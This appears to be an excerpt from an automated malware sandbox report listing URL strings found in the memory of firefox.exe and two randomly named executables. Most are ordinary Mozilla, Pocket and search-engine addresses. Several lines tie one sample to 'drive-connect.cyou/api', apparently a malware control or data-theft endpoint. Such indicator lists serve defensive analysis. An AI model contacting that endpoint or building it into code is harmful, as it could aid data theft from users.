Source: firefox.exe, 0000001D.00000002.3408991340.00000214ABF17000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: https://bugzilla.mozilla.org/show_bug.cgi?id=1607439devtools.debugger.features.windowless-service-wo
Source: firefox.exe, 0000001D.00000002.3434823097.00000214AF491000.00000004.00000800.00020000.00000000.sdmp, firefox.exe, 0000001D.00000002.3408991340.00000214ABF17000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: https://bugzilla.mozilla.org/show_bug.cgi?id=1616739
Source: firefox.exe, 0000001D.00000002.3408991340.00000214ABF17000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: https://bugzilla.mozilla.org/show_bug.cgi?id=1616739mr2022-onboarding-set-default-primary-button-lab
Source: d0d9725343.exe, 0000000B.00000003.2903621269.00000000037FB000.00000004.00000800.00020000.00000000.sdmp, d0d9725343.exe, 0000000B.00000003.2903742030.00000000037F9000.00000004.00000800.00020000.00000000.sdmp, 176986cc9c.exe, 0000000D.00000003.3106258416.00000000057EC000.00000004.00000800.00020000.00000000.sdmp, 176986cc9c.exe, 0000000D.00000003.3106134459.00000000057EF000.00000004.00000800.00020000.00000000.sdmp, 176986cc9c.exe, 0000000F.00000003.3242225033.000000000541E000.00000004.00000800.00020000.00000000.sdmp, 176986cc9c.exe, 0000000F.00000003.3243660285.000000000541B000.00000004.00000800.00020000.00000000.sdmp, 176986cc9c.exe, 0000000F.00000003.3244478054.000000000541B000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: https://cdn.ecosia.org/assets/images/ico/favicon.icohttps://www.ecosia.org/search?q=
Source: d0d9725343.exe, 0000000B.00000003.2903621269.00000000037FB000.00000004.00000800.00020000.00000000.sdmp, d0d9725343.exe, 0000000B.00000003.2903742030.00000000037F9000.00000004.00000800.00020000.00000000.sdmp, 176986cc9c.exe, 0000000D.00000003.3106258416.00000000057EC000.00000004.00000800.00020000.00000000.sdmp, 176986cc9c.exe, 0000000D.00000003.3106134459.00000000057EF000.00000004.00000800.00020000.00000000.sdmp, 176986cc9c.exe, 0000000F.00000003.3242225033.000000000541E000.00000004.00000800.00020000.00000000.sdmp, 176986cc9c.exe, 0000000F.00000003.3243660285.000000000541B000.00000004.00000800.00020000.00000000.sdmp, 176986cc9c.exe, 0000000F.00000003.3244478054.000000000541B000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: https://ch.search.yahoo.com/favicon.icohttps://ch.search.yahoo.com/search
Source: d0d9725343.exe, 0000000B.00000003.2903621269.00000000037FB000.00000004.00000800.00020000.00000000.sdmp, d0d9725343.exe, 0000000B.00000003.2903742030.00000000037F9000.00000004.00000800.00020000.00000000.sdmp, 176986cc9c.exe, 0000000D.00000003.3106258416.00000000057EC000.00000004.00000800.00020000.00000000.sdmp, 176986cc9c.exe, 0000000D.00000003.3106134459.00000000057EF000.00000004.00000800.00020000.00000000.sdmp, 176986cc9c.exe, 0000000F.00000003.3242225033.000000000541E000.00000004.00000800.00020000.00000000.sdmp, 176986cc9c.exe, 0000000F.00000003.3243660285.000000000541B000.00000004.00000800.00020000.00000000.sdmp, 176986cc9c.exe, 0000000F.00000003.3244478054.000000000541B000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: https://ch.search.yahoo.com/sugg/chrome?output=fxjson&appid=crmas&command=
Source: firefox.exe, 0000001D.00000002.3385444273.00000214A7B73000.00000004.00000800.00020000.00000000.sdmp, firefox.exe, 0000001D.00000003.3260691285.00000214AB452000.00000004.00000800.00020000.00000000.sdmp, firefox.exe, 0000001D.00000003.3260407550.00000214AB431000.00000004.00000800.00020000.00000000.sdmp, firefox.exe, 0000001D.00000002.3404418065.00000214AB6B0000.00000002.08000000.00040000.00000000.sdmp, firefox.exe, 0000001D.00000003.3260074424.00000214AB40F000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: https://completion.amazon.com/search/complete?q=
Source: firefox.exe, 0000001D.00000002.3412078877.00000214AC4D9000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: https://content-signature-2.cdn.mozilla.net
Source: firefox.exe, 0000001D.00000002.3385444273.00000214A7B24000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: https://content-signature-2.cdn.mozilla.net/chains/remote-settings.content-signature.mozilla.org-202
Source: d0d9725343.exe, 0000000B.00000003.2954843616.00000000037B4000.00000004.00000800.00020000.00000000.sdmp, 176986cc9c.exe, 0000000D.00000003.3168094376.00000000012EC000.00000004.00000020.00020000.00000000.sdmp, firefox.exe, 0000001D.00000002.3380329645.00000214A6DAD000.00000004.00000800.00020000.00000000.sdmp, firefox.exe, 0000001D.00000002.3397502544.00000214A939E000.00000004.00000800.00020000.00000000.sdmp, firefox.exe, 0000001D.00000002.3394874901.00000214A892D000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: https://contile-images.services.mozilla.com/T23eBL4EHswiSaF6kya2gYsRHvdfADK-NYjs1mVRNGE.3351.jpg
Source: d0d9725343.exe, 0000000B.00000003.3004420814.00000000037B1000.00000004.00000800.00020000.00000000.sdmp, d0d9725343.exe, 0000000B.00000003.2979921174.00000000037B1000.00000004.00000800.00020000.00000000.sdmp, 176986cc9c.exe, 0000000D.00000003.3168094376.00000000012EC000.00000004.00000020.00020000.00000000.sdmp, firefox.exe, 0000001D.00000002.3380329645.00000214A6DAD000.00000004.00000800.00020000.00000000.sdmp, firefox.exe, 0000001D.00000002.3397502544.00000214A939E000.00000004.00000800.00020000.00000000.sdmp, firefox.exe, 0000001D.00000002.3394874901.00000214A892D000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: https://contile-images.services.mozilla.com/obgoOYObjIFea_bXuT6L4LbBJ8j425AD87S1HMD3BWg.9991.jpg
Source: firefox.exe, 0000001D.00000002.3434823097.00000214AF491000.00000004.00000800.00020000.00000000.sdmp, firefox.exe, 0000001D.00000003.3329882750.00000214AF751000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: https://contile.services.mozilla.com
Source: firefox.exe, 0000001D.00000003.3329882750.00000214AF751000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: https://contile.services.mozilla.com/
Source: firefox.exe, 0000001D.00000003.3329882750.00000214AF751000.00000004.00000800.00020000.00000000.sdmp, firefox.exe, 0000001D.00000002.3408991340.00000214ABF17000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: https://contile.services.mozilla.com/v1/tiles
Source: firefox.exe, 0000001D.00000002.3377707348.000002149B530000.00000004.00000800.00020000.00000000.sdmp, firefox.exe, 0000001D.00000002.3377707348.000002149B511000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: https://crash-reports.mozilla.com/submit?id=
Source: firefox.exe, 0000001D.00000002.3436361649.00000214AF503000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: https://crbug.com/993268
Source: firefox.exe, 0000001D.00000003.3359809610.00000214B3C1F000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: https://developer.mozilla.org/docs/Mozilla/Add-ons/WebExtensions/API/tabs/captureTabMozRequestFullSc
Source: firefox.exe, 0000001D.00000002.3442726709.00000214B3C1A000.00000004.00000800.00020000.00000000.sdmp, firefox.exe, 0000001D.00000003.3359809610.00000214B3C1F000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: https://developer.mozilla.org/docs/Web/API/Element/releasePointerCapture
Source: firefox.exe, 0000001D.00000003.3359809610.00000214B3C1F000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: https://developer.mozilla.org/docs/Web/API/Element/setPointerCaptureElementReleaseCaptureWarningElem
Source: firefox.exe, 0000001D.00000003.3359809610.00000214B3C1F000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: https://developer.mozilla.org/docs/Web/API/Push_API/Using_the_Push_API#EncryptionPreventDefaultFromP
Source: firefox.exe, 0000001D.00000002.3389826733.00000214A7C00000.00000002.00000001.00040000.0000001B.sdmp, firefox.exe, 0000001D.00000002.3385444273.00000214A7B03000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: https://developer.mozilla.org/en-US/Add-ons/WebExtensions/manifest.json/commands#Key_combinations
Source: firefox.exe, 0000001D.00000002.3385444273.00000214A7B03000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: https://developer.mozilla.org/en-US/Add-ons/WebExtensions/manifest.json/commands#Key_combinationsjar
Source: firefox.exe, 0000001D.00000002.3442726709.00000214B3C0F000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: https://developer.mozilla.org/en-US/docs/Glossary/speculative_parsingDocumentWriteIgnored
Source: firefox.exe, 0000001D.00000002.3436361649.00000214AF503000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: https://developer.mozilla.org/en-US/docs/Web/API/ElementCSSInlineStyle/style#setting_styles)
Source: firefox.exe, 0000001D.00000002.3436361649.00000214AF503000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: https://developer.mozilla.org/en-US/docs/Web/JavaScript/Reference/Statements/for-await...of
Source: firefox.exe, 0000001D.00000002.3436361649.00000214AF503000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: https://developer.mozilla.org/en-US/docs/Web/Web_Components/Using_custom_elements#using_the_lifecycl
Source: d0d9725343.exe, 0000000B.00000003.3092697959.0000000000FD7000.00000004.00000020.00020000.00000000.sdmp, d0d9725343.exe, 0000000B.00000003.3004391894.000000000103D000.00000004.00000020.00020000.00000000.sdmp, d0d9725343.exe, 0000000B.00000002.3093376280.0000000000FBE000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: https://drive-connect.cyou/
Source: d0d9725343.exe, 0000000B.00000003.3092005941.000000000103D000.00000004.00000020.00020000.00000000.sdmp, d0d9725343.exe, 0000000B.00000002.3093560739.000000000103D000.00000004.00000020.00020000.00000000.sdmp, d0d9725343.exe, 0000000B.00000003.3004391894.000000000103D000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: https://drive-connect.cyou/&
Source: d0d9725343.exe, 0000000B.00000003.3092697959.0000000000FD7000.00000004.00000020.00020000.00000000.sdmp, d0d9725343.exe, 0000000B.00000002.3093609447.0000000001053000.00000004.00000020.00020000.00000000.sdmp, d0d9725343.exe, 0000000B.00000002.3093376280.0000000000FBE000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: https://drive-connect.cyou/api
Source: d0d9725343.exe, 0000000B.00000003.3024651341.0000000001048000.00000004.00000020.00020000.00000000.sdmp, d0d9725343.exe, 0000000B.00000003.3024558642.0000000001053000.00000004.00000020.00020000.00000000.sdmp, d0d9725343.exe, 0000000B.00000002.3093609447.0000000001053000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: https://drive-connect.cyou/api$
Source: d0d9725343.exe, 0000000B.00000003.3004292133.0000000001053000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: https://drive-connect.cyou/apiz
Source: d0d9725343.exe, 0000000B.00000003.2952421698.0000000003849000.00000004.00000800.00020000.00000000.sdmp, d0d9725343.exe, 0000000B.00000003.3024706860.000000000385D000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: https://drive-connect.cyou:443/api
Source: firefox.exe, 0000001D.00000002.3391313912.00000214A7E00000.00000002.00000001.00040000.0000001C.sdmp, firefox.exe, 0000001D.00000002.3457171738.00003265CC204000.00000004.00000800.00020000.00000000.sdmp, firefox.exe, 0000001D.00000002.3397502544.00000214A939E000.00000004.00000800.00020000.00000000.sdmp, firefox.exe, 0000001D.00000002.3394874901.00000214A892D000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: https://duckduckgo.com
Source: firefox.exe, 0000001D.00000002.3414473910.00000214AC811000.00000004.00000800.00020000.00000000.sdmp, firefox.exe, 0000001D.00000003.3260407550.00000214AB431000.00000004.00000800.00020000.00000000.sdmp, firefox.exe, 0000001D.00000002.3404418065.00000214AB6B0000.00000002.08000000.00040000.00000000.sdmp, firefox.exe, 0000001D.00000003.3260074424.00000214AB40F000.00000004.00000800.00020000.00000000.sdmp, firefox.exe, 0000001D.00000002.3398914438.00000214AAC03000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: https://duckduckgo.com/
Source: firefox.exe, 0000001D.00000002.3408991340.00000214ABF17000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: https://duckduckgo.com/?t=ffab&q=
Source: d0d9725343.exe, 0000000B.00000003.2903621269.00000000037FB000.00000004.00000800.00020000.00000000.sdmp, d0d9725343.exe, 0000000B.00000003.2903742030.00000000037F9000.00000004.00000800.00020000.00000000.sdmp, 176986cc9c.exe, 0000000D.00000003.3106258416.00000000057EC000.00000004.00000800.00020000.00000000.sdmp, 176986cc9c.exe, 0000000D.00000003.3106134459.00000000057EF000.00000004.00000800.00020000.00000000.sdmp, 176986cc9c.exe, 0000000F.00000003.3242225033.000000000541E000.00000004.00000800.00020000.00000000.sdmp, 176986cc9c.exe, 0000000F.00000003.3243660285.000000000541B000.00000004.00000800.00020000.00000000.sdmp, 176986cc9c.exe, 0000000F.00000003.3244478054.000000000541B000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: https://duckduckgo.com/ac/?q=
Source: d0d9725343.exe, 0000000B.00000003.2903621269.00000000037FB000.00000004.00000800.00020000.00000000.sdmp, d0d9725343.exe, 0000000B.00000003.2903742030.00000000037F9000.00000004.00000800.00020000.00000000.sdmp, 176986cc9c.exe, 0000000D.00000003.3106258416.00000000057EC000.00000004.00000800.00020000.00000000.sdmp, 176986cc9c.exe, 0000000D.00000003.3106134459.00000000057EF000.00000004.00000800.00020000.00000000.sdmp, 176986cc9c.exe, 0000000F.00000003.3242225033.000000000541E000.00000004.00000800.00020000.00000000.sdmp, 176986cc9c.exe, 0000000F.00000003.3243660285.000000000541B000.00000004.00000800.00020000.00000000.sdmp, 176986cc9c.exe, 0000000F.00000003.3244478054.000000000541B000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: https://duckduckgo.com/chrome_newtab
Source: d0d9725343.exe, 0000000B.00000003.2903621269.00000000037FB000.00000004.00000800.00020000.00000000.sdmp, d0d9725343.exe, 0000000B.00000003.2903742030.00000000037F9000.00000004.00000800.00020000.00000000.sdmp, 176986cc9c.exe, 0000000D.00000003.3106258416.00000000057EC000.00000004.00000800.00020000.00000000.sdmp, 176986cc9c.exe, 0000000D.00000003.3106134459.00000000057EF000.00000004.00000800.00020000.00000000.sdmp, 176986cc9c.exe, 0000000F.00000003.3242225033.000000000541E000.00000004.00000800.00020000.00000000.sdmp, 176986cc9c.exe, 0000000F.00000003.3243660285.000000000541B000.00000004.00000800.00020000.00000000.sdmp, 176986cc9c.exe, 0000000F.00000003.3244478054.000000000541B000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: https://duckduckgo.com/favicon.icohttps://duckduckgo.com/?q=
Source: firefox.exe, 0000001D.00000002.3408991340.00000214ABF17000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: https://duckduckgo.com/y
Source: firefox.exe, 0000001D.00000002.3385444273.00000214A7B73000.00000004.00000800.00020000.00000000.sdmp, firefox.exe, 0000001D.00000002.3397502544.00000214A93AF000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: https://e.mail.ru/cgi-bin/sentmsg?mailto=%s
Source: firefox.exe, 0000001D.00000002.3397502544.00000214A93AF000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: https://e.mail.ru/cgi-bin/sentmsg?mailto=%sz
Source: firefox.exe, 0000001D.00000002.3397502544.00000214A93AF000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: https://e.mail.ru/cgi-bin/sentmsg?mailto=%szw
Source: firefox.exe, 0000001D.00000002.3391313912.00000214A7E00000.00000002.00000001.00040000.0000001C.sdmp	String found in binary or memory: https://ebay.com
Source: firefox.exe, 0000001D.00000002.3457171738.00003265CC204000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: https://ebay.comP
Source: firefox.exe, 0000001D.00000002.3385444273.00000214A7B73000.00000004.00000800.00020000.00000000.sdmp, firefox.exe, 0000001D.00000002.3397502544.00000214A93AF000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: https://email.seznam.cz/newMessageScreen?mailto=%s
Source: firefox.exe, 0000001D.00000002.3385444273.00000214A7B73000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: https://email.seznam.cz/newMessageScreen?mailto=%ssetSlowScriptDebugHandler/debugService.activationH
Source: firefox.exe, 0000001D.00000002.3442726709.00000214B3C1A000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: https://extensionworkshop.com/documentation/publish/self-distribution/
Source: firefox.exe, 0000001D.00000002.3389826733.00000214A7C00000.00000002.00000001.00040000.0000001B.sdmp	String found in binary or memory: https://fb.me/react-polyfillsO
Source: firefox.exe, 0000001D.00000002.3389826733.00000214A7C00000.00000002.00000001.00040000.0000001B.sdmp	String found in binary or memory: https://fb.me/react-polyfillsP
Source: firefox.exe, 0000001D.00000002.3389826733.00000214A7C00000.00000002.00000001.00040000.0000001B.sdmp	String found in binary or memory: https://fb.me/react-polyfillsPO
Source: firefox.exe, 0000001D.00000002.3408991340.00000214ABF17000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: https://firefox-api-proxy.cdn.mozilla.net/
Source: firefox.exe, 0000001D.00000002.3408991340.00000214ABF17000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: https://firefox-settings-attachments.cdn.mozilla.net/main-workspace/ms-images/673d2808-e5d8-41b9-957
Source: firefox.exe, 0000001D.00000002.3408991340.00000214ABF17000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: https://firefox-settings-attachments.cdn.mozilla.net/main-workspace/ms-images/706c7a85-cf23-442e-8a9
Source: firefox.exe, 0000001D.00000002.3385444273.00000214A7B03000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: https://firefox-settings-attachments.cdn.mozilla.net/main-workspace/ms-images/74f06853-c80d-4afc-9b2
Source: firefox.exe, 0000001D.00000002.3408991340.00000214ABF17000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: https://firefox-settings-attachments.cdn.mozilla.net/main-workspace/ms-images/d8e772fe-4909-4f05-9f9
Source: firefox.exe, 0000001D.00000002.3408991340.00000214ABF17000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: https://firefox-settings-attachments.cdn.mozilla.net/main-workspace/ms-images/f0f51715-7f5e-48de-839
Source: firefox.exe, 0000001D.00000002.3389826733.00000214A7C00000.00000002.00000001.00040000.0000001B.sdmp	String found in binary or memory: https://firefox-source-docs.mozilla.org/browser/components/newtab/content-src/asrouter/docs/debuggin
Source: firefox.exe, 0000001D.00000002.3420072274.00000214AD8DA000.00000004.00000800.00020000.00000000.sdmp, firefox.exe, 0000001D.00000002.3404491344.00000214AB740000.00000002.08000000.00040000.00000000.sdmp	String found in binary or memory: https://firefox-source-docs.mozilla.org/performance/scroll-linked_effects.html
Source: firefox.exe, 0000001D.00000002.3391313912.00000214A7E00000.00000002.00000001.00040000.0000001C.sdmp, firefox.exe, 0000001D.00000002.3385444273.00000214A7B43000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: https://firefox-source-docs.mozilla.org/remote/Security.html
Source: firefox.exe, 0000001D.00000002.3391313912.00000214A7E00000.00000002.00000001.00040000.0000001C.sdmp	String found in binary or memory: https://firefox.settings.services.allizom.org/v1/buckets/main-preview/collections/search-config/reco
Source: firefox.exe, 0000001D.00000002.3385444273.00000214A7BE2000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: https://firefox.settings.services.allizom.org/v1/buckets/main/collections/search-config/records
Source: firefox.exe, 0000001D.00000002.3385444273.00000214A7BE2000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: https://firefox.settings.services.allizom.org/v1/buckets/main/collections/search-config/recordsUpdat
Source: firefox.exe, 0000001D.00000002.3391313912.00000214A7E00000.00000002.00000001.00040000.0000001C.sdmp	String found in binary or memory: https://firefox.settings.services.allizom.org/v1/buckets/main/collections/search-config/recordsm
Source: firefox.exe, 0000001D.00000002.3391313912.00000214A7E00000.00000002.00000001.00040000.0000001C.sdmp	String found in binary or memory: https://firefox.settings.services.allizom.org/v1/buckets/main/collections/search-config/recordsmr
Source: firefox.exe, 0000001D.00000002.3391313912.00000214A7E00000.00000002.00000001.00040000.0000001C.sdmp	String found in binary or memory: https://firefox.settings.services.mozilla.com/v1/buckets/main-preview/collections/search-config/reco
Source: firefox.exe, 0000001D.00000002.3389826733.00000214A7C00000.00000002.00000001.00040000.0000001B.sdmp	String found in binary or memory: https://firefox.settings.services.mozilla.com/v1/buckets/main/collections/nimbus-desktop-experiments
Source: firefox.exe, 0000001D.00000002.3385444273.00000214A7BE2000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: https://firefox.settings.services.mozilla.com/v1/buckets/main/collections/search-config/records
Source: firefox.exe, 0000001D.00000002.3385444273.00000214A7BE2000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: https://firefox.settings.services.mozilla.com/v1/buckets/main/collections/search-config/recordsUpdat
Source: firefox.exe, 0000001D.00000002.3391313912.00000214A7E00000.00000002.00000001.00040000.0000001C.sdmp	String found in binary or memory: https://firefox.settings.services.mozilla.com/v1/buckets/main/collections/search-config/recordsi
Source: firefox.exe, 0000001D.00000002.3385444273.00000214A7B03000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: https://firefox.settings.services.mozilla.com/v1_onDisplaySyncURIs/allKnownSender
Source: firefox.exe, 0000001D.00000002.3389826733.00000214A7C00000.00000002.00000001.00040000.0000001B.sdmp	String found in binary or memory: https://firefox.settings.services.mozilla.com/v1i
Source: firefox.exe, 0000001D.00000002.3389826733.00000214A7C00000.00000002.00000001.00040000.0000001B.sdmp	String found in binary or memory: https://firefox.settings.services.mozilla.com/v1i#
Source: firefox.exe, 0000001D.00000002.3391313912.00000214A7E00000.00000002.00000001.00040000.0000001C.sdmp, firefox.exe, 0000001D.00000002.3454872556.00001A5334604000.00000004.00000800.00020000.00000000.sdmp, firefox.exe, 0000001D.00000002.3394874901.00000214A892D000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: https://fpn.firefox.com
Source: firefox.exe, 0000001D.00000002.3408991340.00000214ABF17000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: https://getpocket.cdn.mozilla.net/
Source: firefox.exe, 0000001D.00000003.3329882750.00000214AF751000.00000004.00000800.00020000.00000000.sdmp, firefox.exe, 0000001D.00000002.3421733253.00000214ADB03000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: https://getpocket.cdn.mozilla.net/v3/firefox/global-recs?version=3&consumer_key=$apiKey&locale_lang=
Source: firefox.exe, 0000001D.00000002.3408991340.00000214ABF17000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: https://getpocket.cdn.mozilla.net/v3/firefox/trending-topics?version=2&consumer_key=$apiKey&locale_l
Source: firefox.exe, 0000001D.00000002.3408991340.00000214ABF17000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: https://getpocket.cdn.mozilla.net/v3/newtab/layout?version=1&consumer_key=$apiKey&layout_variant=bas
Source: firefox.exe, 0000001D.00000002.3394874901.00000214A890C000.00000004.00000800.00020000.00000000.sdmp, firefox.exe, 0000001D.00000002.3397502544.00000214A939E000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: https://getpocket.cdn.mozilla.net/v3/newtab/layout?version=1&consumer_key=40249-e88c401e1b1f2242d9e4
Source: firefox.exe, 0000001D.00000002.3389826733.00000214A7C00000.00000002.00000001.00040000.0000001B.sdmp	String found in binary or memory: https://getpocket.com/
Source: firefox.exe, 0000001D.00000002.3389826733.00000214A7C00000.00000002.00000001.00040000.0000001B.sdmp	String found in binary or memory: https://getpocket.com/a4
Source: firefox.exe, 0000001D.00000002.3389826733.00000214A7C00000.00000002.00000001.00040000.0000001B.sdmp	String found in binary or memory: https://getpocket.com/collections
Source: firefox.exe, 0000001D.00000002.3389826733.00000214A7C00000.00000002.00000001.00040000.0000001B.sdmp	String found in binary or memory: https://getpocket.com/explore/
Source: firefox.exe, 0000001D.00000002.3394874901.00000214A890C000.00000004.00000800.00020000.00000000.sdmp, firefox.exe, 0000001D.00000002.3397502544.00000214A939E000.00000004.00000800.00020000.00000000.sdmp, firefox.exe, 0000001D.00000002.3408991340.00000214ABF17000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: https://getpocket.com/explore/career?utm_source=pocket-newtab
Source: firefox.exe, 0000001D.00000003.3329882750.00000214AF751000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: https://getpocket.com/explore/career?utm_source=pocket-newtabL
Source: firefox.exe, 0000001D.00000002.3394874901.00000214A890C000.00000004.00000800.00020000.00000000.sdmp, firefox.exe, 0000001D.00000002.3397502544.00000214A939E000.00000004.00000800.00020000.00000000.sdmp, firefox.exe, 0000001D.00000002.3408991340.00000214ABF17000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: https://getpocket.com/explore/entertainment?utm_source=pocket-newtab
Source: firefox.exe, 0000001D.00000003.3329882750.00000214AF751000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: https://getpocket.com/explore/entertainment?utm_source=pocket-newtabC
Source: firefox.exe, 0000001D.00000002.3394874901.00000214A890C000.00000004.00000800.00020000.00000000.sdmp, firefox.exe, 0000001D.00000002.3397502544.00000214A939E000.00000004.00000800.00020000.00000000.sdmp, firefox.exe, 0000001D.00000002.3408991340.00000214ABF17000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: https://getpocket.com/explore/food?utm_source=pocket-newtab
Source: firefox.exe, 0000001D.00000003.3329882750.00000214AF751000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: https://getpocket.com/explore/food?utm_source=pocket-newtabA
Source: firefox.exe, 0000001D.00000002.3394874901.00000214A890C000.00000004.00000800.00020000.00000000.sdmp, firefox.exe, 0000001D.00000002.3397502544.00000214A939E000.00000004.00000800.00020000.00000000.sdmp, firefox.exe, 0000001D.00000002.3408991340.00000214ABF17000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: https://getpocket.com/explore/health?utm_source=pocket-newtab
Source: firefox.exe, 0000001D.00000003.3329882750.00000214AF751000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: https://getpocket.com/explore/health?utm_source=pocket-newtabE
Source: firefox.exe, 0000001D.00000002.3394874901.00000214A890C000.00000004.00000800.00020000.00000000.sdmp, firefox.exe, 0000001D.00000002.3397502544.00000214A939E000.00000004.00000800.00020000.00000000.sdmp, firefox.exe, 0000001D.00000002.3408991340.00000214ABF17000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: https://getpocket.com/explore/science?utm_source=pocket-newtab
Source: firefox.exe, 0000001D.00000003.3329882750.00000214AF751000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: https://getpocket.com/explore/science?utm_source=pocket-newtabG
Source: firefox.exe, 0000001D.00000002.3394874901.00000214A890C000.00000004.00000800.00020000.00000000.sdmp, firefox.exe, 0000001D.00000002.3397502544.00000214A939E000.00000004.00000800.00020000.00000000.sdmp, firefox.exe, 0000001D.00000002.3408991340.00000214ABF17000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: https://getpocket.com/explore/self-improvement?utm_source=pocket-newtab
Source: firefox.exe, 0000001D.00000003.3329882750.00000214AF751000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: https://getpocket.com/explore/self-improvement?utm_source=pocket-newtab?
Source: firefox.exe, 0000001D.00000002.3394874901.00000214A890C000.00000004.00000800.00020000.00000000.sdmp, firefox.exe, 0000001D.00000002.3397502544.00000214A939E000.00000004.00000800.00020000.00000000.sdmp, firefox.exe, 0000001D.00000002.3408991340.00000214ABF17000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: https://getpocket.com/explore/technology?utm_source=pocket-newtab
Source: firefox.exe, 0000001D.00000003.3329882750.00000214AF751000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: https://getpocket.com/explore/technology?utm_source=pocket-newtabN
Source: firefox.exe, 0000001D.00000002.3397502544.00000214A939E000.00000004.00000800.00020000.00000000.sdmp, firefox.exe, 0000001D.00000002.3421733253.00000214ADB03000.00000004.00000800.00020000.00000000.sdmp, firefox.exe, 0000001D.00000002.3408991340.00000214ABF17000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: https://getpocket.com/explore/trending?src=fx_new_tab
Source: firefox.exe, 0000001D.00000002.3433552608.00000214AF32D000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: https://getpocket.com/explore/trending?src=fx_new_tabL
Source: firefox.exe, 0000001D.00000002.3408991340.00000214ABF17000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: https://getpocket.com/explore/trending?src=fx_new_tabSends
Source: firefox.exe, 0000001D.00000002.3394874901.00000214A890C000.00000004.00000800.00020000.00000000.sdmp, firefox.exe, 0000001D.00000002.3397502544.00000214A939E000.00000004.00000800.00020000.00000000.sdmp, firefox.exe, 0000001D.00000002.3408991340.00000214ABF17000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: https://getpocket.com/explore?utm_source=pocket-newtab
Source: firefox.exe, 0000001D.00000003.3329882750.00000214AF751000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: https://getpocket.com/explore?utm_source=pocket-newtabI
Source: firefox.exe, 0000001D.00000002.3397502544.00000214A939E000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: https://getpocket.com/firefox/new_tab_learn_more
Source: firefox.exe, 0000001D.00000003.3329882750.00000214AF751000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: https://getpocket.com/firefox/new_tab_learn_more/
